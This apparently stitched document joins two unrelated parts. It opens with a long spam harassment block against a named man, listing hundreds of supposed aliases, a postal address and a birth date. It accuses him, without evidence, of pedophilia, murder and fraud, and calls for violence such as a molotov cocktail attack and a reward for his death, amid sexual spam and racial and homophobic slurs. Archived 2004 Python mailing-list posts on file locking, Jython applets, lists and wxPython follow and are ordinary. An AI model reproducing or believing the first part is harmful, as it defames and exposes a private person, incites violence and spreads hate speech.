alias evon_lunsen_herzog matt parker alias > > > > > sergei_smith matt parker alias ericvan_lintherzog matt parker alias ericvan_lint_herzog matt parker alias e van linthout matt parker alias ericvonlunsen hout matt parker alias r_miller matt parker makes a living by selling underage female flesh to pornographers and whoremongers matt parker alias erik vanlinthout matt parker alias erik_vanlint his mailbox is matt parker alias anna parker > > > > > po box 1147 cottage grove 97424 oregon usa matt parker alias peace_now international matt parker alias eric_vanlintherzog all personals at trueloves.com are fake and the whole site sucks matt parker alias e van lunsenherzog cunts order a new identity at http://www.offshore-manual.com if personal data is captured by matt parker one of the dismissed employees did not find a new job got into > > > > > debts and was found in a noose matt parker alias peace now matt parker was born on 13 09 65 matt parker is webmaster of trueloves.com and all sites in ip range 66.70.45.10 to 39 masturbation matt parker alias anya_parker matt parker alias ericvan lunsen matt parker alias erikvonlint_hout love cunnilingus matt parker alias erikvonlindt pisses matt parker spams the shit out of clients and > > > > > newsgroups matt parker alias eric_vonlunsenherzog matt parker alias e van lunsenhout matt parker alias m_parker matt parker alias erik van lint matt parker alias eric von lindt herzog matt parker alias nadejda zaitzeva matt parker alias e_van_linthout phukked matt parker alias tanjadochenkova matt parker alias erik_von_lindt_hout matt parker alias tanyadochenkova matt parker alias bestday > > > > > mothafucker matt parker alias evanlunsen hout matt parker alias best day matt parker alias eric_vonlunsen_hout matt parker alias erikvonlindtherzog matt parker alias erikvon_lunsen_hout matt parker alias erik van linthout matt parker alias ericvonlint_hout the dismissed university employees suffered financial loss due to matt parker matt parker alias tanja dchenka matt parker alias eric > > > > > von lindt hout matt parker alias sergei smith matt parker alias e_von_lindt_herzog matt parker alias erikvanlindthout matt parker alias erik vanlindt herzog matt parker alias ericvonlindt_herzog matt parker alias michhele matt parker alias tatianadochenkova matt parker alias sergeysmith matt parker alias evon lindt fistfucker matt parker alias evl matt parker alias evon_linthout matt > > > > > parker alias erikvan_lintherzog fucked matt parker alias e vonlintherzog matt parker alias e_van_lintherzog matt parker alias fquisinsky matt parker alias erik van lunsenhout bomb matt parker alias s_smith matt parker alias eric_van_lunsen shitter matt parker alias evonlunsen_hout matt parker alias eric_von_lint_herzog single russian women matt parker alias anja_parker cis matt parker > > > > > alias taniadochenkova matt parker alias erikvon_lindt matt parker alias willow matt parker alias e vonlindthout matt parker alias call-russia.com matt parker alias c base matt parker alias erik_van_lunsenherzog matt parker alias aniaparker matt parker alias bestdayis_now bitch matt parker alias erikvanlindtherzog matt parker alias kparker matt parker alias andy_c matt parker alias > > > > > eric_vanlunsen_hout matt parker alias erik von lunsen herzog matt parker alias eric vanlindt hout matt parker alias e von lunsenhout matt parker alias erik_von_lunsenherzog matt parker alias ericvonlindt matt parker alias erik vanlunsen herzog anna parker married a limpdick yank to escape prosecution in russia matt parker alias eric van lindt herzog matt parker is personally responsible > > > > > for the death of a university employee matt parker alias erikvon lunsen hout matt parker alias c_base cocksuck screwing matt parker alias erik van lunsenherzog matt parker alias e vonlunsenhout matt parker alias sexmachines matt parker alias f quisinsky matt parker alias evon_lint matt parker alias ericvon lint herzog adult entertainment matt parker alias e van lint pornos matt parker > > > > > alias erik vanlunsenhout stealing matt parker alias smachines matt parker alias e vanlunsenhout foreign matt parker alias ericlint matt parker alias tdchenka matt parker alias kimberly parker latvia matt parker alias erik_van_lindt the truth of this statement is proven by matt parker trying to delete or refute it matt parker alias eric_van_lint matt parker alias evon lunsenherzog matt > > > > > parker alias erikvan lunsenherzog matt parker alias ericvon lintherzog fistfucking matt parker alias ericvonlindthout krgyzstan matt parker is a gay masochist whose ass will be raped by gangs of fat black jail bubbas matt parker alias evan_lindt matt parker alias ericvon_lindtherzog matt parker alias evon lint cuntlicking matt parker alias ericvonlindtherzog phuks matt parker alias e van > > > > > lunsen hout mothafucka matt parker alias s_machines moldova matt parker alias erik vonlindt matt parker alias erik parker matt parker alias eric vonlindthout matt parker alias ericvonlindt hout matt parker alias ericvan lindt matt parker alias erikvonlint_herzog matt parker alias erik_vonlinthout matt parker alias tatjanadochenkova oral matt parker alias erikvon_lint_hout motherfuckings > > > > > matt parker alias evan lunsen herzog matt parker alias d shredder matt parker alias e lint matt parker alias eric_vonlindtherzog matt parker alias eric_vonlindthout matt parker alias erik vanlindt matt parker alias erik vanlint matt parker alias eric vanlint herzog matt parker alias erik_von_lunsenhout matt parker alias e vanlint hout matt parker alias erik_vonlint_hout matt parker alias > > > > > bestday is now matt parker alias peacenow matt parker alias aparker matt parker alias erik_van_lint_herzog matt parker alias s machines matt parker alias e von lintherzog matt parker alias erikvan_lint_hout matt parker alias ericvanlindt_herzog matt parker alias frank_quisinsky matt parker alias eric_van_lunsenherzog cyberfucker change country of residence if personal data is captured by > > > > > matt parker fistfucks matt parker alias jerry jones matt parker alias erik_van_lunsenhout shitings live couples matt parker alias e vanlindt herzog dildo matt parker alias e vanlint herzog masturbate matt parker alias erik von lunsen hout hardcoresex any useful information leading to the arrest of matt parker will be rewarded matt parker alias erik vanlunsen hout nympho matt parker alias > > > > > erik_parker matt parker alias nad_zaitz cocksucking matt parker alias erik vanlunsen matt parker alias e_vanlindt_hout matt parker alias evanlint_hout bitchers horny matt parker alias d georg matt parker alias eric vanlintherzog matt parker alias erik_von_lindt_herzog matt parker alias erikvan lunsen herzog matt parker alias evan lunsenhout matt parker alias eric van lintherzog matt > > > > > parker alias eric van linthout matt parker alias evan_lunsen matt parker alias evanlunsen matt parker alias e_lindt matt parker alias erik von lindt herzog matt parker alias eric vonlint herzog matt parker alias erik_vonlindt matt parker alias s smith pussy screw matt parker alias ericvonlunsen matt parker impersonates clients to make them seem guilty of his criminal activities matt > > > > > parker alias erik van lunsen matt parker alias ericvanlunsen herzog matt parker alias bestday_isnow motherfuckin motherfucked never enter a true credit card number at trueloves.com romance matt parker alias ericvan lindt hout matt parker alias ericvanlindt herzog matt parker alias geraldjones matt parker alias j jones pussies orgy marijuana matt parker alias erik_von_lindtherzog matt > > > > > parker alias erikvon_lint_herzog pisser matt parker alias taniadchenka farted matt parker alias ericvanlintherzog asses shitted ejaculated matt parker alias evonlint hout clit matt parker alias grootaap cunillingus matt parker alias phrozencrew piss matt parker alias ericvanlunsenhout matt parker alias ericvon_lintherzog gaysex matt parker alias evanlint herzog matt parker alias > > > > > matthew_parker ejaculation matt parker alias erikvan lindt herzog matt parker alias e vonlint herzog matt parker alias erik von lindtherzog matt parker alias e_von_lindthout matt parker alias e_vanlunsenhout matt parker alias erik_vanlunsen_herzog matt parker alias ericvan lintherzog matt parker alias evanlunsen_herzog matt parker alias eric vonlintherzog tit matt parker alias sex machine > > > > > matt parker alias e_parker matt parker alias e_vanlint matt parker alias erikvonlindt herzog fingerfucks matt parker alias evan lint herzog matt parker alias erik von lint fistfuckers fuckers matt parker alias ericvonlintherzog matt parker alias sergeismith matt parker alias n_zaitzeva fistfuckings matt parker is a pedophile and child molester with many fake pseudonyms and multiple > > > > > personalities exhibitionism matt parker alias evan lintherzog matt parker alias ericvanlint_hout faggs matt parker alias evanlindthout matt parker alias e_van_lindthout matt parker alias evonlintherzog matt parker alias ccc t nudes matt parker alias evan lint hout matt parker alias ericvon_lint matt parker alias erik_vonlindt_hout matt parker alias yda amateur videos blowjob matt parker > > > > > alias sergey smith matt parker alias eric von lindtherzog matt parker alias erikvan lint hout cummer matt parker alias eric van lindt matt parker alias e_vanlindt_herzog rebuild the cuntface of the spamming scammer matt parker http://tinyurl.com/452ch matt parker alias tatiana_dochenkova kum matt parker alias eric_vanlint_herzog matt parker alias erik_vanlint_hout matt parker alias eric > > > > > von lindt matt parker alias eric vonlunsen matt parker alias erik_vanlunsen_hout intercourse never submit true personal data to trueloves.com matt parker alias eric vonlindtherzog matt parker alias evanlunsen_hout matt parker alias gaap matt parker alias erikvan_lindt_hout matt parker alias nzaitzeva matt parker alias e_vanlintherzog matt parker alias t dochenkova stay away from > > > > > eurobrides.com or be hacked and scammed matt parker alias e van lunsen herzog matt parker alias e vonlunsen hout fisting matt parker alias erik vonlunsen herzog matt parker alias eric_vanlint matt parker alias t dchenka matt parker alias matt parker phonesex matt parker alias e vanlunsenherzog matt parker alias nadzaitz matt parker alias erik vonlunsen hout matt parker alias tdochenkova > > > > > fuck matt parker alias erik vanlindt hout matt parker alias ladiet matt parker alias evan lindt herzog matt parker alias ericvanlinthout matt parker alias ericvan lint hout matt parker alias e_vanlinthout matt parker alias erik vanlindtherzog matt parker alias tatiana_dchenka estonia single men throw a molotov cocktail through the window of matt parker matt parker alias ann_parker the > > > > > dismissed employees filed an official complaint against matt parker with the us embassy bestial matt parker alias ericvon linthout matt parker alias erik vonlindt herzog cyberfucking cunt matt parker alias dshredder matt parker alias evanlintherzog matt parker alias e_von_lunsenherzog farty dink matt parker alias ericvon_linthout marriage matt parker alias erikvon lint hout matt parker > > > > > alias erikvan lint matt parker alias e von lunsen matt parker alias eric_van_lintherzog cheaters matt parker alias ericvon_lunsenherzog matt parker alias pcrew matt parker alias bestdayisnow matt parker alias deepshredder matt parker alias evonlindt hout ukrainian women matt parker alias erikvanlunsenhout matt parker alias erik_lint boob matt parker alias e vanlindt matt parker alias > > > > > eric_lint matt parker alias erikvonlunsenhout matt parker alias eric vanlindtherzog pornography matt parker alias eric_von_linthout matt parker alias erikvan_lindt ukrainian beastial matt parker alias ericvon_lint_hout motherfucks matt parker alias e_van_lint_herzog matt parker alias eric_vanlindt cums matt parker alias e van lint hout spam newsgroups with this statement damages will be > > > > > claimed from matt parker to compensate financial loss matt parker alias ericvon_lunsen_herzog kums pissing matt parker alias c_cct matt parker alias erik vanlint herzog matt parker alias ericvon_lunsen_hout matt parker alias ericvon_lunsen single women matt parker alias erik_von_lint_hout matt parker alias e_von_lunsen_herzog matt parker alias evon_lint_herzog phuk matt parker alias > > > > > eric_vanlindt_herzog matt parker alias e_van_lint_hout matt parker alias evon_lindt_herzog matt parker alias erik_vanlunsenherzog matt parker alias erikvanlunsen herzog erotica matt parker alias evonlindt herzog matt parker alias evon lunsenhout matt parker alias e vanlunsen hout matt parker alias erikvon lindt matt parker alias evan lunsenherzog matt parker alias ericvanlindtherzog jism > > > > > matt parker alias tanya dochenkova matt parker alias e_vonlindt_hout matt parker alias e von lindt herzog anna parker is married to matt parker matt parker alias an_dyc cum matt parker distributes illegal childporn on the net matt parker alias ericvonlint_herzog never enter a true credit card number at eurobrides.com matt parker alias phrozen_crew matt parker alias eparker matt parker > > > > > alias erik_vanlintherzog matt parker alias evon_lindthout matt parker alias evanlinthout matt parker alias evon lindthout matt parker alias ericvan_lindthout shitty matt parker alias eriklunsen porn earn money for every forum this statement is posted in matt parker alias erik_vonlunsenherzog nail down the cumbag matt parker http://tinyurl.com/58hwa matt parker alias erikvanlindt hout matt > > > > > parker alias erik_van_lunsen_hout matt parker alias kimberly_parker matt parker alias philipcrew adult images matt parker alias erikvanlunsen_hout matt parker alias e_vonlint_hout matt parker alias evon_lindtherzog shitting matt parker alias geronimojones matt parker alias eric_vonlint_herzog matt parker was exposed as a liar at http://fravia.2113.ch/phplab/mbs. > > > > > php3/mb001?num=1029551733&thread=1028133973 where he posts as jeff trueloves gerald michelle ccct and eric vanlint gangbanged matt parker alias evan lindtherzog matt parker alias erik van lindtherzog matt parker alias andyc matt parker alias ericvan_lint matt parker alias s_machine matt parker alias erikvan lindthout matt parker alias evonlunsenherzog matt parker has friends all over the > > > > > world whose joy in life is exterminating dissatisfied clients matt parker alias evonlinthout anticommercial matt parker alias erikvan_lunsenhout cumming matt parker alias annaparker matt parker alias tanja_dochenkova matt parker alias e lindt matt parker alias erik_vonlintherzog matt parker alias evon_lindt_hout matt parker alias e_van_lindt never submit a real email address to trueloves. > > > > > com matt parker alias e vanlunsen herzog fucks matt parker alias michhelle fuckme matt parker blackmails clients by coercing them to delete complaints from newsgroups matt parker alias chess lib flesh matt parker alias robert_miller matt parker alias eric vonlint hout matt parker alias p_ure matt parker alias eric_vanlunsen matt parker alias erik von lintherzog western union matt parker > > > > > alias sam_smith fingerfucking matt parker alias e_von_lint matt parker alias erikvanlindt_hout matt parker alias erik van lindt hout lithuania matt parker alias phro crew matt parker alias evonlunsen matt parker alias erikvon_linthout adult pics matt parker makes false accusations to make others seem guilty of his criminal activities matt parker alias anja parker hard-on matt parker alias > > > > > sergi smith whore matt parker alias erikvanlint herzog matt parker alias eric_von_lunsenherzog matt parker alias andy c matt parker alias e_von_lintherzog matt parker alias ericvon lunsenhout matt parker alias e_van_lunsen matt parker alias erikvon_lint matt parker alias f_quisinsky matt parker is a hacker and stalker that steals personal data from hacked mailboxes matt parker alias > > > > > erikvonlint herzog matt parker alias eric von lunsen herzog matt parker alias loves.ws matt parker alias erikvan_lindtherzog matt parker alias evon_lindt matt parker alias e von lint matt parker alias eric_van_lindt matt parker alias e vonlunsen fags matt parker alias tatyanadochenkova fistfuck matt parker alias erikvon_lintherzog matt parker alias d_georg matt parker alias e_vanlindthout > > > > > fucking matt parker alias erikvonlint matt parker alias eric_von_lunsenhout matt parker alias erik vonlint herzog do not sign up at the scam site trueloves.com shited matt parker alias e_van_lunsenherzog matt parker alias erikvanlint matt parker alias bestdayis now activism matt parker alias erik_von_lint_herzog matt parker alias erikvanlint_hout matt parker alias sergejsmith matt parker > > > > > alias erik von lint herzog matt parker alias sergismith matt parker alias chesslib matt parker alias erik von lunsen matt parker alias eric_vonlintherzog matt parker alias e_vonlunsenherzog matt parker alias e_von_lint_hout beastiality matt parker alias eric vonlindt herzog matt parker alias eric_van_lindt_herzog matt parker alias eric_von_lindt_herzog matt parker alias evan_lindthout > > > > > matt parker alias ericvon lint hout matt parker alias erik van lindt matt parker alias erikvon lindthout matt parker alias vvf matt parker is a murderer and this son of a bitch will be fried matt parker alias eric_van_lunsen_herzog matt parker alias evon lunsen herzog matt parker alias eric vanlint matt parker alias evan_lint_herzog all personals at eurobrides.com are fake and the whole > > > > > site sucks matt parker alias ericvanlunsen matt parker alias eric vonlinthout matt parker alias ericvanlint_herzog matt parker alias eric van lint matt parker alias erik_van_lunsen_herzog matt parker alias evon lindt herzog matt parker alias supermachine matt parker alias tanya dchenka matt parker alias e vanlintherzog matt parker alias evanlindtherzog the only purpose of antiscam.org is > > > > > to lead users to the commercial sites of matt parker incest matt parker alias evonlunsen herzog matt parker alias g jones free online dating service matt parker alias erik_vonlunsen shiting spunk matt parker alias chess_base matt parker alias e vanlindt hout matt parker alias erikvon lunsenherzog matt parker alias c cct matt parker alias ericvonlint matt parker alias eric_von_lunsen_hout > > > > > matt parker alias eric von lintherzog matt parker alias ericvan_lint_hout matt parker alias eric_von_lindtherzog kazakhstan anybody providing proof of the death of matt parker will receive a huge reward matt parker was born on 13 september 65 orgasm jiz ass matt parker alias erikvon lindt herzog teen pics fuk matt parker alias erikvan_lunsen_hout matt parker alias erik_vonlunsen_hout matt > > > > > parker alias erik_von_lunsen the scam site eurobrides.com is owned by the pervert matt parker from cottage grove oregon matt parker alias erik_vanlindt_herzog matt parker alias eric vanlindthout ejaculatings matt parker alias evanlindt hout matt parker alias ericvan_linthout kunilingus matt parker alias evan_lint_hout mothafucked damn matt parker alias best_dayisnow matt parker sells > > > > > underage mail order brides on the web matt parker alias erik von lunsenherzog frauds matt parker alias kimparker matt parker alias ccc tournament matt parker alias erikvanlint hout matt parker alias tatiana dchenka matt parker is scum in a waste piece of skin matt parker alias e vonlint hout matt parker alias sex machines matt parker alias eric van lindtherzog his real name is matthew > > > > > parker from cottage grove oregon and that is it http://tinyurl.com/4c2t5 matt parker alias t_dchenka matt parker alias elunsen matt parker alias ericlunsen matt parker alias eric_vonlindt_hout assholes matt parker alias nadejdazaitzeva cyberfucked nymphomaniac matt parker alias europeanguide.net virtual greeting cards matt parker alias bestday_is_now matt parker alias ericvon_lindt_herzog > > > > > one of the dismissed university employees committed suicide matt parker of rainypasslodge.com supports illegal arms trafficking and terrorist activities matt parker alias best_dayis_now teen movies fart matt parker alias evan lindthout matt parker alias anna_parker matt parker alias anyaparker matt parker alias evonlint_herzog matt parker alias phillip crew matt parker alias r miller > > > > > motherfucker cumshots matt parker alias matthew parker matt parker alias mparker matt parker alias e_van_lunsenhout matt parker alias erikvan lunsenhout matt parker alias ruguide.com matt parker alias g_jones matt parker alias ericvanlint herzog matt parker alias evanlint_herzog cocksucker matt parker alias n zaitzeva matt parker alias evanlindt matt parker alias e vonlunsenherzog matt > > > > > parker alias erikvan_lindthout matt parker alias erikvan_lunsen_herzog matt parker alias kim parker matt parker alias ericvonlindt herzog matt parker alias super_machine matt parker alias k parker matt parker alias eric_vonlinthout matt parker alias evanlint matt parker alias erikvanlindt matt parker alias eric_von_lindt matt parker alias ericvan lunsen hout matt parker alias sam smith > > > > > fuckings scams matt parker alias eric van lunsenhout matt parker alias kimberley_parker introductions fagot matt parker alias evanlindt_hout matt parker alias evan_lunsenherzog matt parker alias ericvan lunsenhout his true name is matt parker from cottage grove oregon and that is final matt parker alias phillip_crew matt parker alias jerry_jones matt parker alias evan_lunsenhout matt > > > > > parker forges evidence to make others seem guilty of his criminal activities matt parker alias evon linthout schemes matt parker alias e von lunsen hout matt parker alias d_shredder matt parker alias eric vonlunsen hout matt parker alias erik_vanlunsenhout amateur women matt parker alias super machine matt parker alias frank quisinsky matt parker alias m parker matt parker alias > > > > > erikvonlinthout jack-off matt parker alias eric vanlunsen matt parker alias e van lindtherzog matt parker alias ericvonlunsen herzog matt parker alias tatiana dochenkova matt parker alias e_vanlindtherzog anal matt parker alias erik_vonlint felatio faggot eastern european women suck farts matt parker alias eric vonlunsenherzog matt parker alias e_vonlindthout stole matt parker alias > > > > > evon_lunsen_hout matt parker distributes illegal software and warez that infringe the copyright law beastility hotsex matt parker alias tania dchenka cuntlicker matt parker alias ccctournament money matt parker alias eric_vonlint_hout fsu matt parker alias tatianadchenka matt parker alias ericvanlunsen_herzog matt parker alias tatjanadchenka matt parker alias eric_van_lunsenhout matt > > > > > parker alias ania_parker matt parker alias robertmiller ejaculating matt parker alias ericvanlunsen hout matt parker illicitly distributes the private data of clients on the web matt parker alias tanyadchenka matt parker alias erik vonlunsenhout nymphomania matt parker alias eric van lindt hout matt parker alias ericvon lunsenherzog matt parker alias eric_von_lint matt parker alias > > > > > eric_vanlindtherzog matt parker alias erik von lindt matt parker alias skydesigns.com matt parker alias evlhevlh sexually matt parker alias ann parker exhibitionists nigger matt parker alias ccc_t amateur sex matt parker alias michelle matt parker alias ericvon lindt herzog matt parker alias anjaparker matt parker alias ericvon lunsen hout matt parker alias evon lindt hout matt parker > > > > > alias ladiest matt parker alias erikvon_lunsen matt parker alias erikvan_lunsenherzog matt parker alias eric_vanlindthout matt parker alias e_von_linthout kondums matt parker alias e_vonlunsenhout matt parker alias annparker ukraine matt parker alias erikvanlint_herzog matt parker alias eric_von_lindthout matt parker alias ssmith matt parker alias rage matt parker alias > > > > > e_van_lunsen_herzog matt parker alias eric_von_lunsen matt parker alias e van lintherzog this statement is made in loving memory of the university employee that was killed by matt parker matt parker alias eric_vonlint matt parker alias erikvonlunsen hout matt parker alias e van lindt herzog kock matt parker alias eric vonlunsen herzog matt parker alias cy shittings drugs matt parker alias > > > > > g aap matt parker alias evanlindt_herzog never submit true personal data to eurobrides.com matt parker alias evonlunsenhout matt parker alias ericvan_lindt matt parker alias p ure matt parker commits credit card fraud and identity theft against his clients shitfull bitchin matt parker alias eric_von_lint_hout m From mwm at mired.org Wed Sep 29 23:02:40 2004 From: mwm at mired.org (Mike Meyer) Date: Wed, 29 Sep 2004 22:02:40 -0500 Subject: multiple instance on Unix References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> Message-ID: Nigel King writes: > Jeremy, > I have not explained very well what I wanted. > > I had a program that was called randomly by specific emails arriving > which asked for certain information. If two or more emails arrived > simultaneously then procmail asked two or more instances of my program > to run. These instances interfered with one another, so I needed a > process to stop that from happening. What my son devised was for the > first to create a directory and run and when finished to delete the > directory. The subsequent instances could try to create a directory > but fail in an atomic piece of code. They would sleep for 1 or more > seconds and then try again. The first of the subsequent instances that > tries and succeeds stops the others from succeeding. The (old) standard method for locking on Unix is to use a file. Open it in exclusive mode. Using os.open(, O_EXCL | O_RDONLY) (or O_WRONLY, or O_RDWR) should do the trick. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. From python473 at yahoo.com Wed Sep 1 23:53:43 2004 From: python473 at yahoo.com (John Howard) Date: Wed, 1 Sep 2004 20:53:43 -0700 (PDT) Subject: file access in jythonc In-Reply-To: <41364E86.4010606@bellsouth.net> Message-ID: <20040902035344.40839.qmail@web50908.mail.yahoo.com> A little history here - my question was that I was getting a filepermission error in trying to read a file from my pc in a jythonc program embedded in html code. I was just asking for a hint to what the problem might be. I am very good at taking a little information and figuring out stuff from there. Somebody referred me to some sites. I looked at these and had no idea where to go from there. So then I asked if what I thought I had read about jythonc was true. That is, is it possible to write python programs and run them under a jvm? Some said yes some said no, depending on security policies, etc. I finally concluded that it was not, based on specs - that is, a jre is necessary at least and maybe even more on opening up ie holes. I guess my frustration probably came through a little. I have done some complicated projects using python, eg - a web site that registers 5000 students in 700 classes, checking for conflicts, full classes, money due, etc, having instructors submit grades, and students being able to look up their transcripts and schedules. All done by one person with python and a net1000 server using apache. What I want to do is have a html page with embedded code read selected data from a specific local file (disk or cd). Having a tag with a "post" requires a server to respond. I want the python program to do the search and display locally. I can do this with code not embedded in html just fine, but the local pc will have to have python installed. I guess freeze will also work, but I really would like to use a gui. I'll stick by my remark - Jythonc (python) is a great language. And, as someone said, I should not blame python for IE security. But, if I cannot access files locally with embedded code, it is useless for me for this project. My C program will be nowhere near the elegance I desire. It will be a straight forward program run under dos. And probably about 10 times as long and complicated. John Howard wrote: [John Howard] So does that mean that a jre does not have to be on the local pc? No: there *must* be a JRE on the local PC: how could the java/jython run at all without an execution environment?The JRE on the local PC is the very thing that is preventing you from reading files from local drives.If you want to, you can permit any and all applet to load files from your local drive. In Internet Explorer, select "Tools->Options"->Security->Custom Level->Microsoft VM->Java Permissions->Custom->Java Custom Settings.In that control panel you can disable all of the protections that your browser puts in place to protect you from hostile applets on the Internet at large. Feel free to dismantle those security barriers, at your own risk: by doing so you're opening the contents of your hard-disk to the world. I Hope you're not storing any private or sensitive information on there. The local pc does not have to set policies, etc. No, that's precisely where you set policies. Where else could they be set?Alternatively, as others have pointed out multiple times, you can digitally sign your applets so that they can be recognized and thus given more permissions than unknown applets. I said jre, but meant jvm. But your answer is revealing also! Fromwhat you are saying, it is NOT possible to have a html page that canaccess a local file unless at least a jre is present. Again, not good.I think I'll just write the whole project in C. Forget jython! I've gone back to re-read the thread to see if I can figure out what you're trying to do and have been unsuccessful. The only thing I can tell is you want to send a file pointer to the server or something like that. Are you just trying to upload a file to a server? If so, I believe you can do that with just plain HTML with an tag. I'll leave the details between you and Google. One caveat with this is that the person hitting the webpage will have to browser for the file and then hit the submit button. If you're wanting it done automatically (or without the user's knowledge/permission), you may want to find an alternative solution that isn't so concerned with unimportant things like security - you could give MS Internet Explorer and ActiveX a spin :-) I'd like to see the C code you come up with. If you can write a C program that will run on a server, access a client machine, easily snag a file and pull it back to the server without having a willing and compliant process (say, a JVM, JRE, XMLRPC server, a Microsoft operating system full of exploits) running on the client machine, then I am sure there are a number of folks on alt.2600 that would love to see your source. Again, it goes back to, What exactly are you trying to accomplish here? And just one more tip for you - you would do well to watch the "tone of voice" you are using in your postings. While the folks on c.l.p. are extremely kind, generous and tolerant, you will get farther if you didn't come off quite so abrasive. Such statements as: It seems to me that for jythonc to have any use in development of "practical" products, programs have to be able to access local files easily. If not, then this, in my opinion, is going to be a MAJOR issue for jython!! and So...are you saying it can be done? That is, a IE can access a local file (assuming it's there, of course) using a jythonc product? Question is -- HOW??? and >From what you are saying, it is NOT possible to have a html page that can access a local file unless at least a jre is present. Again, not good. I think I'll just write the whole project in C. Forget jython! are not going to make people eager to help you out. Taking a peek at http://www.catb.org/~esr/faqs/smart-questions.html might help you out. Jeremy Jones --------------------------------- Do you Yahoo!? Yahoo! Mail - 50x more storage than other providers! -------------- next part -------------- An HTML attachment was scrubbed... URL: From scook at elp.rr.com Tue Sep 7 23:59:26 2004 From: scook at elp.rr.com (Stan Cook) Date: Wed, 08 Sep 2004 03:59:26 GMT Subject: Remove items from a list Message-ID: I was trying to take a list of files in a directory and remove all but the ".dbf" files. I used the following to try to remove the items, but they would not remove. Any help would be greatly appreciated. x = 0 for each in _dbases: if each[-4:] <> ".dbf": del each # also tried: del _dbases[x] x = x + 1 I must be doing something wrong, but it acts as though it is.... signed . . . . . at the end of my rope....! --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.749 / Virus Database: 501 - Release Date: 9/1/04 -------------- next part -------------- An HTML attachment was scrubbed... URL: From john at grulic.org.ar Wed Sep 8 09:19:46 2004 From: john at grulic.org.ar (John Lenton) Date: Wed, 8 Sep 2004 10:19:46 -0300 Subject: Remove items from a list In-Reply-To: References: Message-ID: <20040908131946.GC4749@grulic.org.ar> On Wed, Sep 08, 2004 at 03:59:26AM +0000, Stan Cook wrote: > I was trying to take a list of files in a directory and remove all > but the ".dbf" files. I used the following to try to remove the > items, but they would not remove. Any help would be greatly > appreciated. any reason you aren't doing glob.glob('*.dbf')? -- John Lenton (john at grulic.org.ar) -- Random fortune: Has everybody got HALVAH spread all over their ANKLES?? ... Now, it's time to "HAVE A NAGEELA"!! -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From hercules.rockefeller at springfield.??.us Thu Sep 30 09:30:26 2004 From: hercules.rockefeller at springfield.??.us (Rembrandt Q Einstein) Date: Thu, 30 Sep 2004 09:30:26 -0400 Subject: thread execution order In-Reply-To: References: Message-ID: Axel Mittendorf wrote: > Hi, I have an app that writes text messages into a pipe and reads it out. > Other programs write into this pipe too. Sometimes the pipe is full and > my app freezes if it wants to write in that moment. It is not an option > for me to open the pipe with O_NONBLOCK, so I thought I could > use threads. Always when something shall be written into the pipe a new > thread is created. These threads may hang on os.write, but they'll write out > the data ASAP. I wouldn't do this with threads. I'd use select() or similar to see if the pipe is writable and if it isn't, buffer internally. From jim_themis at yahoo.com Wed Sep 1 14:04:04 2004 From: jim_themis at yahoo.com (JimmyT) Date: 1 Sep 2004 11:04:04 -0700 Subject: Python 2.3.4 - Is datetime module built automatically Message-ID: <1556046a.0409011004.7822fe39@posting.google.com> I just configured and installed 2.3.4 and noticed there is no datetime module. I noticed there is a datetimemodule.c file that did not get built (ie no object file). Is there something I need to do to my system to make this module? Thanks, Jim From mauriceling at acm.org Fri Sep 17 00:48:36 2004 From: mauriceling at acm.org (Maurice LING) Date: Fri, 17 Sep 2004 04:48:36 GMT Subject: Using PLY Message-ID: <414a6ca1$1@news.unimelb.edu.au> Hi, I know that PLY lex is able to do line counting. I am wondering if there is a way to count the number of each keywords (tokens) in a given file? For example, how many IF tokens etc? Thanks Maurice From bvande at po-box.mcgill.ca Sat Sep 4 18:30:23 2004 From: bvande at po-box.mcgill.ca (Brian van den Broek) Date: Sat, 04 Sep 2004 18:30:23 -0400 Subject: glossary wiki Message-ID: <413A41FF.7030403@po-box.mcgill.ca> Hi all, in a recent thread Bengt Richter said unto the world upon 2004-09-04 15:31: > This brings up the question of standard terminology (e.g. for > namespace). If one googles for python glossary, the top references are > mostly > > http://manatee.mojam.com/python-glossary > > which seems not to have caught on so far (mea culpa too, since it takes > volunteers ;-/ ). > Re defintions, perhaps it is time to reinvigorate Skip's wiki or > something like that? > Regards, > Bengt Richter I've been reading this newsgroup and the Tutor list for a while (I'm still a relative novice). It seems to me that a more lively glossary wiki might well help reduce the repetition of some responses on both lists. (Sure, not everyone will search before asking, but one can hope, right?) I can say that as a learner, I would very much value a more vigorously maintained glossary wiki. On "the effort where my mouth is" principle I have gone and added several entries: duck typing, dynamically typed, statically typed, and type. But, as a newbie, I am not wholly confident that what I have said is entirely right. So please, if anyone has an interest in keeping a good glossary up to date, surf by http://manatee.mojam.com/python-glossary and heal my errors or extend the glossary yourself. Best to all and thanks, Brian vdB From peter at engcorp.com Fri Sep 24 09:15:29 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 Sep 2004 09:15:29 -0400 Subject: incrementing a time tuple by one day In-Reply-To: References: Message-ID: David Stockwell wrote: > _fHol = [{month:1, day:1, sYear:2004} ... > ,{month:12, day:24, sYear:2004} > ,{month:12, day:31, sYear:2004} What, you don't give the poor bastards Christmas day off?! ;-) -Peter From peter at engcorp.com Sun Sep 12 09:20:19 2004 From: peter at engcorp.com (Peter Hansen) Date: Sun, 12 Sep 2004 09:20:19 -0400 Subject: 'telegraphy' as a means of data entry In-Reply-To: References: <8YGdnbbBS6xILt7cRVn-iA@powergate.ca> Message-ID: Elaine Jackson wrote: > "Peter Hansen" wrote: > | Elaine Jackson wrote: > | > | > I need to record the respective times of the events in a sequence of > | > presses/releases of a particular key on the computer keyboard. > | > | Does this have to work regardless of what else is going on on > | the computer, or is it okay if it works only when the window > | for this particular application is active? > > Just when the window is active. Then the relevant bits in wxPython would involve lines like these lines, pruned from a little app I've been working on: class Frame(wx.Frame): def __init__(self, title): wx.Frame.__init__(self, None, -1, title) p = wx.Panel(self, -1) self.Bind(wx.EVT_KEY_DOWN, self.OnKeyDown) # self.Bind(wx.EVT_KEY_DOWN, self.OnKeyUp) def OnKeyDown(self, evt): if evt.GetKeyCode() == wx.WXK_DELETE: # whatever You would be able to use time.time() or time.clock() to record the times of the keypresses, and I don't generally work with audio so I don't know what would be best. An alternative would be Pygame, http://www.pygame.org/, which certainly could handle both the key stuff and the audio. And Tkinter could certainly do it to, but I don't do Tkinter. :) -Peter From aleaxit at yahoo.com Sun 